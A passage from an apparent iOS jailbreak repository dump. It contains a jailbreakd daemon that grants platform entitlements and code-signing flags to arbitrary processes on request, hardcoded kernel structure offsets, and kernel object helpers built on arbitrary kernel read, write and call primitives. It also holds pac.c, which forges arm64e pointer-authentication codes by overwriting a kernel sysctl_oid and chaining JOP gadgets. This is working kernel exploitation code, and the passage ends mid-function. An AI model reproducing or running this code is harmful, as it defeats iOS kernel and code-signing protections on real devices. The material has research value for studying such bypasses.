JAILBREAKD_ENTITLE_PID_AND_SIGCONT)){ 192 | NSLog(@"Error: ENTITLE_SIGCONT packet is too small"); 193 | continue; 194 | } 195 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *entitleSIGCONTPacket = (struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *)buf; 196 | NSLog(@"Entitle+SIGCONT PID %d", entitleSIGCONTPacket->Pid); 197 | setcsflagsandplatformize(entitleSIGCONTPacket->Pid); 198 | kill(entitleSIGCONTPacket->Pid, SIGCONT); 199 | } 200 | 201 | else if (command == JAILBREAKD_COMMAND_ENTITLE_PLATFORMIZE){ 202 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PLATFORMIZE_PID)){ 203 | NSLog(@"Error: ENTITLE_PLATFORMIZE packet is too small"); 204 | continue; 205 | } 206 | struct JAILBREAKD_ENTITLE_PLATFORMIZE_PID *entitlePlatformizePacket = (struct JAILBREAKD_ENTITLE_PLATFORMIZE_PID *)buf; 207 | NSLog(@"Entitle PID %d", entitlePlatformizePacket->EntitlePID); 208 | setcsflagsandplatformize(entitlePlatformizePacket->EntitlePID); 209 | NSLog(@"Platformize PID %d", entitlePlatformizePacket->PlatformizePID); 210 | setcsflagsandplatformize(entitlePlatformizePacket->PlatformizePID); 211 | } 212 | 213 | else if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_AFTER_DELAY){ 214 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT)){ 215 | NSLog(@"Error: ENTITLE_SIGCONT packet is too small"); 216 | continue; 217 | } 218 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *entitleSIGCONTPacket = (struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *)buf; 219 | NSLog(@"Entitle+SIGCONT PID %d", entitleSIGCONTPacket->Pid); 220 | __block int PID = entitleSIGCONTPacket->Pid; 221 | dispatch_queue_t queue = dispatch_queue_create("org.coolstar.jailbreakd.delayqueue", NULL); 222 | dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 0.5 * NSEC_PER_SEC), queue, ^{ 223 | setcsflagsandplatformize(PID); 224 | kill(PID, SIGCONT); 225 | }); 226 | dispatch_release(queue); 227 | } 228 | 229 | else if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY){ 230 | if (size < sizeof(struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT)){ 231 | NSLog(@"Error: ENTITLE_SIGCONT packet is too small"); 232 | continue; 233 | } 234 | struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *entitleSIGCONTPacket = (struct JAILBREAKD_ENTITLE_PID_AND_SIGCONT *)buf; 235 | NSLog(@"Entitle+SIGCONT PID %d", entitleSIGCONTPacket->Pid); 236 | __block int PID = entitleSIGCONTPacket->Pid; 237 | 238 | dispatch_queue_t queue = dispatch_queue_create("org.coolstar.jailbreakd.delayqueue", NULL); 239 | dispatch_async(queue, ^{ 240 | char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; 241 | bzero(pathbuf, sizeof(pathbuf)); 242 | 243 | NSLog(@"%@", @"Waiting to ensure it's not xpcproxy anymore..."); 244 | int ret = proc_pidpath(PID, pathbuf, sizeof(pathbuf)); 245 | while (ret > 0 && strcmp(pathbuf, "/usr/libexec/xpcproxy") == 0){ 246 | proc_pidpath(PID, pathbuf, sizeof(pathbuf)); 247 | usleep(100); 248 | } 249 | 250 | NSLog(@"%@",@"Continuing!"); 251 | setcsflagsandplatformize(PID); 252 | kill(PID, SIGCONT); 253 | }); 254 | dispatch_release(queue); 255 | } 256 | 257 | else if (command == JAILBREAKD_COMMAND_FIXUP_SETUID){ 258 | if (size < sizeof(struct JAILBREAKD_FIXUP_SETUID)){ 259 | NSLog(@"Error: ENTITLE packet is too small"); 260 | continue; 261 | } 262 | struct JAILBREAKD_FIXUP_SETUID *setuidPacket = (struct JAILBREAKD_FIXUP_SETUID *)buf; 263 | NSLog(@"Fixup setuid PID %d", setuidPacket->Pid); 264 | fixupsetuid(setuidPacket->Pid); 265 | } 266 | 267 | else if (command == JAILBREAKD_COMMAND_FIXUP_DYLIB) { 268 | if (size < sizeof(struct JAILBREAKD_FIXUP_DYLIB)){ 269 | NSLog(@"Error: ENTITLE packet is too small"); 270 | continue; 271 | } 272 | struct JAILBREAKD_FIXUP_DYLIB *dylibPacket = (struct JAILBREAKD_FIXUP_DYLIB *)buf; 273 | 274 | NSLog(@"Request to fixup dylib: %s", dylibPacket->dylib); 275 | fixupdylib(dylibPacket->dylib); 276 | } 277 | 278 | else if (command == JAILBREAKD_COMMAND_FIXUP_EXECUTABLE) { 279 | if (size < sizeof(struct JAILBREAKD_FIXUP_EXECUTABLE)){ 280 | NSLog(@"Error: ENTITLE packet is too small"); 281 | continue; 282 | } 283 | struct JAILBREAKD_FIXUP_EXECUTABLE *execPacket = (struct JAILBREAKD_FIXUP_EXECUTABLE *)buf; 284 | 285 | NSLog(@"Request to fixup executable: %s", execPacket->exec); 286 | fixupexec(execPacket->exec); 287 | } 288 | 289 | else if (command == JAILBREAKD_COMMAND_EXIT){ 290 | NSLog(@"Got Exit Command! Goodbye!"); 291 | // term_kexecute(); 292 | kernel_call_deinit(); 293 | exit(0); 294 | } 295 | } 296 | 297 | /* Exit and clean up the child process. */ 298 | _exit(0); 299 | return 0; 300 | } 301 | 302 | int main(int argc, char **argv, char **envp) 303 | { 304 | int ret = runserver(); 305 | exit(ret); 306 | } 307 | 308 | -------------------------------------------------------------------------------- /offsetof.c: -------------------------------------------------------------------------------- 1 | 2 | unsigned offsetof_p_pid = 0x60; // proc_t::p_pid 3 | unsigned offsetof_task = 0x10; // proc_t::task 4 | unsigned offsetof_p_uid = 0x28; // proc_t::p_uid 5 | unsigned offsetof_p_gid = 0x2c; // proc_t::p_uid 6 | unsigned offsetof_p_ruid = 0x30; // proc_t::p_uid 7 | unsigned offsetof_p_rgid = 0x34; // proc_t::p_uid 8 | unsigned offsetof_p_ucred = 0xf8; // proc_t::p_ucred 9 | unsigned offsetof_p_csflags = 0x290; // proc_t::p_csflags 10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 13 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space 14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 17 | unsigned offsetof_p_textvp = 0x230; // proc_t::p_textvp 18 | unsigned offsetof_p_textoff = 0x238; // proc_t::p_textoff 19 | unsigned offsetof_p_cputype = 0x2a8; // proc_t::p_cputype 20 | unsigned offsetof_p_cpu_subtype = 0x2ac; // proc_t::p_cpu_subtype 21 | unsigned offsetof_special = 2 * sizeof(long); // host::special 22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 23 | 24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid 25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid 27 | unsigned offsetof_ucred_cr_ngroups = 0x24; // ucred::cr_ngroups 28 | unsigned offsetof_ucred_cr_groups = 0x28; // ucred::cr_groups 29 | unsigned offsetof_ucred_cr_rgid = 0x68; // ucred::cr_rgid 30 | unsigned offsetof_ucred_cr_svgid = 0x6c; // ucred::cr_svgid 31 | 32 | unsigned offsetof_v_type = 0x70; // vnode::v_type 33 | unsigned offsetof_v_id = 0x74; // vnode::v_id 34 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 35 | unsigned offsetof_v_flags = 0x54; // vnode::v_flags 36 | 37 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 38 | 39 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 40 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 41 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 42 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 43 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 44 | unsigned offsetof_csb_platform_binary = 0xA8; // cs_blob::csb_platform_binary 45 | unsigned offsetof_csb_platform_path = 0xAc; // cs_blob::csb_platform_path 46 | 47 | unsigned offsetof_t_flags = 0x390; // task::t_flags 48 | -------------------------------------------------------------------------------- /offsetof.h: -------------------------------------------------------------------------------- 1 | extern unsigned offsetof_p_pid; 2 | extern unsigned offsetof_task; 3 | extern unsigned offsetof_p_uid; 4 | extern unsigned offsetof_p_gid; 5 | extern unsigned offsetof_p_ruid; 6 | extern unsigned offsetof_p_rgid; 7 | extern unsigned offsetof_p_ucred; 8 | extern unsigned offsetof_p_csflags; 9 | extern unsigned offsetof_itk_self; 10 | extern unsigned offsetof_itk_sself; 11 | extern unsigned offsetof_itk_bootstrap; 12 | extern unsigned offsetof_itk_space; 13 | extern unsigned offsetof_ip_mscount; 14 | extern unsigned offsetof_ip_srights; 15 | extern unsigned offsetof_ip_kobject; 16 | extern unsigned offsetof_p_textvp; 17 | extern unsigned offsetof_p_textoff; 18 | extern unsigned offsetof_p_cputype; 19 | extern unsigned offsetof_p_cpu_subtype; 20 | extern unsigned offsetof_special; 21 | extern unsigned offsetof_ipc_space_is_table; 22 | 23 | extern unsigned offsetof_ucred_cr_uid; 24 | extern unsigned offsetof_ucred_cr_ruid; 25 | extern unsigned offsetof_ucred_cr_gid; 26 | extern unsigned offsetof_ucred_cr_rgid; 27 | extern unsigned offsetof_ucred_cr_svgid; 28 | extern unsigned offsetof_ucred_cr_groups; 29 | extern unsigned offsetof_ucred_cr_ngroups; 30 | extern unsigned offsetof_ucred_cr_svuid; 31 | 32 | extern unsigned offsetof_v_type; 33 | extern unsigned offsetof_v_id; 34 | extern unsigned offsetof_v_ubcinfo; 35 | extern unsigned offsetof_v_flags; 36 | 37 | extern unsigned offsetof_ubcinfo_csblobs; 38 | 39 | extern unsigned offsetof_csb_cputype; 40 | extern unsigned offsetof_csb_flags; 41 | extern unsigned offsetof_csb_base_offset; 42 | extern unsigned offsetof_csb_entitlements_offset; 43 | extern unsigned offsetof_csb_signer_type; 44 | extern unsigned offsetof_csb_platform_binary; 45 | extern unsigned offsetof_csb_platform_path; 46 | 47 | extern unsigned offsetof_t_flags; 48 | 49 | 50 | #define CS_VALID 0x0000001 /* dynamically valid */ 51 | #define CS_ADHOC 0x0000002 /* ad hoc signed */ 52 | #define CS_GET_TASK_ALLOW 0x0000004 /* has get-task-allow entitlement */ 53 | #define CS_INSTALLER 0x0000008 /* has installer entitlement */ 54 | 55 | #define CS_HARD 0x0000100 /* don't load invalid pages */ 56 | #define CS_KILL 0x0000200 /* kill process if it becomes invalid */ 57 | #define CS_CHECK_EXPIRATION 0x0000400 /* force expiration checking */ 58 | #define CS_RESTRICT 0x0000800 /* tell dyld to treat restricted */ 59 | #define CS_ENFORCEMENT 0x0001000 /* require enforcement */ 60 | #define CS_REQUIRE_LV 0x0002000 /* require library validation */ 61 | #define CS_ENTITLEMENTS_VALIDATED 0x0004000 62 | 63 | #define CS_ALLOWED_MACHO 0x00ffffe 64 | 65 | #define CS_EXEC_SET_HARD 0x0100000 /* set CS_HARD on any exec'ed process */ 66 | #define CS_EXEC_SET_KILL 0x0200000 /* set CS_KILL on any exec'ed process */ 67 | #define CS_EXEC_SET_ENFORCEMENT 0x0400000 /* set CS_ENFORCEMENT on any exec'ed process */ 68 | #define CS_EXEC_SET_INSTALLER 0x0800000 /* set CS_INSTALLER on any exec'ed process */ 69 | 70 | #define CS_KILLED 0x1000000 /* was killed by kernel for invalidity */ 71 | #define CS_DYLD_PLATFORM 0x2000000 /* dyld used to load this is a platform binary */ 72 | #define CS_PLATFORM_BINARY 0x4000000 /* this is a platform binary */ 73 | #define CS_PLATFORM_PATH 0x8000000 /* platform binary by the fact of path (osx only) */ 74 | 75 | #define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ 76 | #define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */ 77 | #define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */ 78 | -------------------------------------------------------------------------------- /offsets.c: -------------------------------------------------------------------------------- 1 | #include "offsets.h" 2 | #include 3 | #include 4 | #include 5 | 6 | int getOffsetsFromFile(char *file, struct offsets *off) { 7 | FILE *f = fopen(file, "rb"); 8 | if (!f) return -1; 9 | fread(off, sizeof(struct offsets), 1, f); 10 | fclose(f); 11 | return !(off->allproc); 12 | } 13 | -------------------------------------------------------------------------------- /offsets.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | struct offsets { 4 | uint64_t allproc; 5 | uint64_t OSBooleanTrue; 6 | uint64_t OSBooleanFalse; 7 | uint64_t gadget; 8 | uint64_t zone_map_ref; 9 | uint64_t OSUnserializeXML; 10 | uint64_t smalloc; 11 | uint64_t vnode_lookup; 12 | uint64_t vfs_context; 13 | uint64_t vnode_put; 14 | uint64_t kernel_base; 15 | }; 16 | 17 | int getOffsetsFromFile(char *file, struct offsets *off); 18 | -------------------------------------------------------------------------------- /osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "kexecute.h" 3 | #include "kernel_call.h" 4 | #include "kmem.h" 5 | #include "patchfinder64.h" 6 | #include "osobject.h" 7 | 8 | // offsets in vtable: 9 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 10 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 11 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 12 | 13 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 14 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 15 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 16 | 17 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 18 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 19 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 20 | 21 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 22 | 23 | // 1 on success, 0 on error 24 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 25 | size_t len = strlen(key) + 1; 26 | 27 | uint64_t ks = kalloc(len); 28 | kwrite(ks, key, len); 29 | 30 | uint64_t vtab = rk64(dict); 31 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 32 | 33 | int rv = (int) kernel_call_7(f, 3, dict, ks, val); 34 | 35 | kfree(ks, len); 36 | 37 | return rv; 38 | } 39 | 40 | // XXX it can return 0 in lower 32 bits but still be valid 41 | // fix addr of returned value and check if rk64 gives ptr 42 | // to vtable addr saved before 43 | 44 | // address if exists, 0 if not 45 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 46 | size_t len = strlen(key) + 1; 47 | 48 | uint64_t ks = kalloc(len); 49 | kwrite(ks, key, len); 50 | 51 | uint64_t vtab = rk64(dict); 52 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 53 | 54 | int rv = (int) kernel_call_7(f, 2, dict, ks); 55 | 56 | kfree(ks, len); 57 | 58 | return rv; 59 | } 60 | 61 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 62 | uint64_t ret = _OSDictionary_GetItem(dict, key); 63 | 64 | if (ret != 0) { 65 | // XXX can it be not in zalloc?.. 66 | ret = zm_fix_addr(ret); 67 | } 68 | 69 | return ret; 70 | } 71 | 72 | // 1 on success, 0 on error 73 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 74 | uint64_t vtab = rk64(dict); 75 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 76 | 77 | return (int) kernel_call_7(f, 2, dict, aDict); 78 | } 79 | 80 | // 1 on success, 0 on error 81 | int OSArray_Merge(uint64_t array, uint64_t aArray) { 82 | uint64_t vtab = rk64(array); 83 | uint64_t f = rk64(vtab + off_OSArray_Merge); 84 | 85 | return (int) kernel_call_7(f, 2, array, aArray); 86 | } 87 | 88 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 89 | uint64_t vtab = rk64(array); 90 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 91 | 92 | return kernel_call_7(f, 2, array, idx); 93 | } 94 | 95 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 96 | uint64_t ret = _OSArray_GetObject(array, idx); 97 | 98 | if (ret != 0){ 99 | // XXX can it be not in zalloc?.. 100 | ret = zm_fix_addr(ret); 101 | } 102 | return ret; 103 | } 104 | 105 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 106 | uint64_t vtab = rk64(array); 107 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 108 | 109 | (void)kernel_call_7(f, 2, array, idx, 0, 0, 0, 0, 0); 110 | } 111 | 112 | // XXX error handling just for fun? :) 113 | uint64_t _OSUnserializeXML(const char* buffer) { 114 | size_t len = strlen(buffer) + 1; 115 | 116 | uint64_t ks = kalloc(len); 117 | kwrite(ks, buffer, len); 118 | 119 | uint64_t errorptr = 0; 120 | 121 | uint64_t rv = kernel_call_7(find_osunserializexml(), 2, ks, errorptr); 122 | kfree(ks, len); 123 | 124 | return rv; 125 | } 126 | 127 | uint64_t OSUnserializeXML(const char* buffer) { 128 | uint64_t ret = _OSUnserializeXML(buffer); 129 | 130 | if (ret != 0) { 131 | // XXX can it be not in zalloc?.. 132 | ret = zm_fix_addr(ret); 133 | } 134 | 135 | return ret; 136 | } 137 | 138 | void OSObject_Release(uint64_t osobject) { 139 | uint64_t vtab = rk64(osobject); 140 | uint64_t f = rk64(vtab + off_OSObject_Release); 141 | (void) kernel_call_7(f, 1, osobject); 142 | } 143 | 144 | void OSObject_Retain(uint64_t osobject) { 145 | uint64_t vtab = rk64(osobject); 146 | uint64_t f = rk64(vtab + off_OSObject_Release); 147 | (void) kernel_call_7(f, 1, osobject); 148 | } 149 | 150 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 151 | uint64_t vtab = rk64(osobject); 152 | uint64_t f = rk64(vtab + off_OSObject_Release); 153 | return (uint32_t) kernel_call_7(f, 1, osobject); 154 | } 155 | 156 | unsigned int OSString_GetLength(uint64_t osstring){ 157 | uint64_t vtab = rk64(osstring); 158 | uint64_t f = rk64(vtab + off_OSString_GetLength); 159 | return (unsigned int)kernel_call_7(f, 1, osstring); 160 | } 161 | 162 | char *OSString_CopyString(uint64_t osstring){ 163 | unsigned int length = OSString_GetLength(osstring); 164 | char *str = malloc(length + 1); 165 | str[length] = 0; 166 | 167 | kread(OSString_CStringPtr(osstring), str, length); 168 | return str; 169 | } 170 | -------------------------------------------------------------------------------- /osobject.h: -------------------------------------------------------------------------------- 1 | #define OSDictionary_ItemCount(dict) rk32(dict+20) 2 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32) 3 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) 4 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) 5 | #define OSString_CStringPtr(str) rk64(str + 0x10) 6 | #define OSArray_ItemCount(arr) rk32(arr+0x14) 7 | #define OSArray_ItemBuffer(arr) rk64(arr+32) 8 | 9 | // see osobject.c for info 10 | 11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict); 14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 16 | int OSArray_Merge(uint64_t array, uint64_t aArray); 17 | uint64_t OSUnserializeXML(const char* buffer); 18 | 19 | void OSObject_Release(uint64_t osobject); 20 | void OSObject_Retain(uint64_t osobject); 21 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 22 | 23 | unsigned int OSString_GetLength(uint64_t osstring); 24 | char *OSString_CopyString(uint64_t osstring); 25 | -------------------------------------------------------------------------------- /pac.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/pac.c 3 | * Brandon Azad 4 | */ 5 | #include "pac.h" 6 | 7 | #include "kernel_call.h" 8 | #include "kc_parameters.h" 9 | #include "user_client.h" 10 | #include "kernel_memory.h" 11 | #include "log.h" 12 | #include "mach_vm.h" 13 | #include "parameters.h" 14 | 15 | 16 | #if __arm64e__ 17 | 18 | // ---- Global variables -------------------------------------------------------------------------- 19 | 20 | // The address of our kernel buffer. 21 | static uint64_t kernel_pacxa_buffer; 22 | 23 | // The forged value PACIZA('mov x0, x4 ; br x5'). 24 | static uint64_t paciza__mov_x0_x4__br_x5; 25 | 26 | // ---- Stage 2 ----------------------------------------------------------------------------------- 27 | 28 | /* 29 | * stage1_kernel_call_7 30 | * 31 | * Description: 32 | * Call a kernel function using our stage 1 execute primitive with explicit registers. 33 | * 34 | * See stage1_kernel_call_7v. 35 | */ 36 | static uint32_t 37 | stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3, 38 | uint64_t x4, uint64_t x5, uint64_t x6) { 39 | uint64_t arguments[7] = { 1, x1, x2, x3, x4, x5, x6 }; 40 | return stage1_kernel_call_7v(function, 7, arguments); 41 | } 42 | 43 | /* 44 | * stage1_init_kernel_pacxa_forging 45 | * 46 | * Description: 47 | * Initialize our stage 1 capability to forge PACIA and PACDA pointers. 48 | */ 49 | static void 50 | stage1_init_kernel_pacxa_forging() { 51 | // Get the authorized pointers to l2tp_domain_module_start() and l2tp_domain_module_stop(). 52 | // Because these values already contain the PACIZA code, we can call them with the stage 0 53 | // call primitive to start/stop the module. 54 | uint64_t paciza__l2tp_domain_module_start = kernel_read64( 55 | ADDRESS(paciza_pointer__l2tp_domain_module_start)); 56 | uint64_t paciza__l2tp_domain_module_stop = kernel_read64( 57 | ADDRESS(paciza_pointer__l2tp_domain_module_stop)); 58 | 59 | // Read out the original value of sysctl__net_ppp_l2tp__data. 60 | uint8_t sysctl__net_ppp_l2tp__data[SIZE(sysctl_oid)]; 61 | kernel_read(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); 62 | 63 | // Create a fake sysctl_oid for sysctl_unregister_oid(). We craft this sysctl_oid such that 64 | // sysctl_unregister_oid() will execute the following instruction sequence: 65 | // 66 | // LDR X10, [X9,#0x30]! ; X10 = old_oidp->oid_handler 67 | // CBNZ X19, loc_FFFFFFF007EBD330 68 | // CBZ X10, loc_FFFFFFF007EBD330 69 | // MOV X19, #0 70 | // MOV X11, X9 ; X11 = &old_oidp->oid_handler 71 | // MOVK X11, #0x14EF,LSL#48 ; X11 = 14EF`&oid_handler 72 | // AUTIA X10, X11 ; X10 = AUTIA(handler, 14EF`&handler) 73 | // PACIZA X10 ; X10 = PACIZA(X10) 74 | // STR X10, [X9] ; old_oidp->oid_handler = X10 75 | // 76 | uint8_t fake_sysctl_oid[SIZE(sysctl_oid)]; 77 | memset(fake_sysctl_oid, 0xab, SIZE(sysctl_oid)); 78 | FIELD(fake_sysctl_oid, sysctl_oid, oid_parent, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_link); 79 | FIELD(fake_sysctl_oid, sysctl_oid, oid_link, uint64_t) = ADDRESS(sysctl__net_ppp_l2tp); 80 | FIELD(fake_sysctl_oid, sysctl_oid, oid_kind, uint32_t) = 0x400000; 81 | FIELD(fake_sysctl_oid, sysctl_oid, oid_handler, uint64_t) = ADDRESS(mov_x0_x4__br_x5); 82 | FIELD(fake_sysctl_oid, sysctl_oid, oid_version, uint32_t) = 1; 83 | FIELD(fake_sysctl_oid, sysctl_oid, oid_refcnt, uint32_t) = 0; 84 | 85 | // Overwrite sysctl__net_ppp_l2tp with our fake sysctl_oid. 86 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), fake_sysctl_oid, SIZE(sysctl_oid)); 87 | 88 | // Call l2tp_domain_module_stop() to trigger sysctl_unregister_oid() on our fake 89 | // sysctl_oid, which will PACIZA our pointer to the "mov x0, x4 ; br x5" gadget. 90 | __unused uint32_t ret; 91 | ret = stage1_kernel_call_7( 92 | paciza__l2tp_domain_module_stop, // PC 93 | 0, 0, 0, 0, 0, 0); // X1 - X6 94 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", 95 | "l2tp_domain_module_stop", ret, 96 | kernel_read32(ADDRESS(l2tp_domain_inited))); 97 | 98 | // Read back the PACIZA'd pointer to the 'mov x0, x4 ; br x5' gadget. This pointer will not 99 | // be exactly correct, since it PACIZA'd an AUTIA'd pointer we didn't sign. But we can use 100 | // this value to reconstruct the correct PACIZA'd pointer. 101 | uint64_t handler = kernel_read64( 102 | ADDRESS(sysctl__net_ppp_l2tp) + OFFSET(sysctl_oid, oid_handler)); 103 | paciza__mov_x0_x4__br_x5 = handler ^ (1uLL << (63 - 1)); 104 | DEBUG_TRACE(1, "PACIZA(%s) = 0x%016llx", "'mov x0, x4 ; br x5'", paciza__mov_x0_x4__br_x5); 105 | 106 | // Now write back the original sysctl_oid and call sysctl_unregister_oid() to clean it up. 107 | kernel_write(ADDRESS(sysctl__net_ppp_l2tp), sysctl__net_ppp_l2tp__data, SIZE(sysctl_oid)); 108 | ret = stage1_kernel_call_7( 109 | paciza__mov_x0_x4__br_x5, // PC 110 | 0, 0, 0, // X1 - X3 111 | ADDRESS(sysctl__net_ppp_l2tp), // X4 112 | ADDRESS(sysctl_unregister_oid), // X5 113 | 0); // X6 114 | DEBUG_TRACE(2, "%s(%016llx) = 0x%08x", "sysctl_unregister_oid", 115 | ADDRESS(sysctl__net_ppp_l2tp), ret); 116 | 117 | // And finally call l2tp_domain_module_start() to re-initialize the module. 118 | ret = stage1_kernel_call_7( 119 | paciza__l2tp_domain_module_start, // PC 120 | 0, 0, 0, 0, 0, 0); // X1 - X6 121 | DEBUG_TRACE(1, "%s(): 0x%08x; l2tp_domain_inited = %d", 122 | "l2tp_domain_module_start", ret, 123 | kernel_read32(ADDRESS(l2tp_domain_inited))); 124 | 125 | // Alright, so now we have an arbitrary call gadget! 126 | kernel_pacxa_buffer = stage1_get_kernel_buffer(); 127 | } 128 | 129 | // ---- Stage 2 ----------------------------------------------------------------------------------- 130 | 131 | /* 132 | * stage2_kernel_forge_pacxa 133 | * 134 | * Description: 135 | * Forge a PACIA or PACDA pointer using the kernel forging gadgets. 136 | */ 137 | static uint64_t 138 | stage2_kernel_forge_pacxa(uint64_t address, uint64_t context, bool instruction) { 139 | const size_t pacxa_buffer_size = SIZE(kernel_forge_pacxa_gadget_buffer); 140 | const size_t pacxa_buffer_offset = OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); 141 | // Initialize the kernel_pacxa_buffer to be all zeros. 142 | uint8_t pacxa_buffer[pacxa_buffer_size - pacxa_buffer_offset]; 143 | memset(pacxa_buffer, 0, sizeof(pacxa_buffer)); 144 | kernel_write(kernel_pacxa_buffer, pacxa_buffer, sizeof(pacxa_buffer)); 145 | // The buffer address we pass to the gadget is offset from the part of that we initialize 146 | // (to save us some space). The result is stored at different offsets in the buffer 147 | // depending on whether the operation is PACIA or PACDA. 148 | uint64_t buffer_address = kernel_pacxa_buffer - pacxa_buffer_offset; 149 | uint64_t result_address = buffer_address; 150 | uint64_t pacxa_gadget; 151 | if (instruction) { 152 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); 153 | pacxa_gadget = ADDRESS(kernel_forge_pacia_gadget); 154 | } else { 155 | result_address += OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); 156 | pacxa_gadget = ADDRESS(kernel_forge_pacda_gadget); 157 | } 158 | // We need to set: 159 | // 160 | // x2 = buffer_address 161 | // x9 = address 162 | // x10 = context 163 | // 164 | // In order to do that we'll execute the following JOP sequence before jumping to the 165 | // gadget: 166 | // 167 | // mov x0, x4 ; br x5 168 | // mov x9, x0 ; br x1 169 | // mov x10, x3 ; br x6 170 | // 171 | __unused uint32_t ret; 172 | ret = stage1_kernel_call_7( 173 | paciza__mov_x0_x4__br_x5, // PC 174 | ADDRESS(mov_x10_x3__br_x6), // X1 175 | buffer_address, // X2 176 | context, // X3 177 | address, // X4 178 | ADDRESS(mov_x9_x0__br_x1), // X5 179 | pacxa_gadget); // X6 180 | DEBUG_TRACE(2, "%s_GADGET(): 0x%08x", (instruction ? "PACIA" : "PACDA"), ret); 181 | // Now recover the PACXA'd value. 182 | uint64_t pacxa = kernel_read64(result_address); 183 | return pacxa; 184 | } 185 | 186 | /* 187 | * xpaci 188 | * 189 | * Description: 190 | * Strip a PACIx code from a pointer. 191 | */ 192 | static uint64_t 193 | xpaci(uint64_t pointer) { 194 | asm("xpaci %[value]\n" : [value] "+r"(pointer)); 195 | return pointer; 196 | } 197 | 198 | /* 199 | * xpacd 200 | * 201 | * Description: 202 | * Strip a PACDx code from a pointer. 203 | */ 204 | static uint64_t 205 | xpacd(uint64_t pointer) { 206 | asm("xpacd %[value]\n" : [value] "+r"(pointer)); 207 | return pointer; 208 | } 209 | 210 | #endif // __arm64e__ 211 | 212 | // ---- API --------------------------------------------------------------------------------------- 213 | 214 | bool 215 | stage2_kernel_call_init() { 216 | #if __arm64e__ 217 | 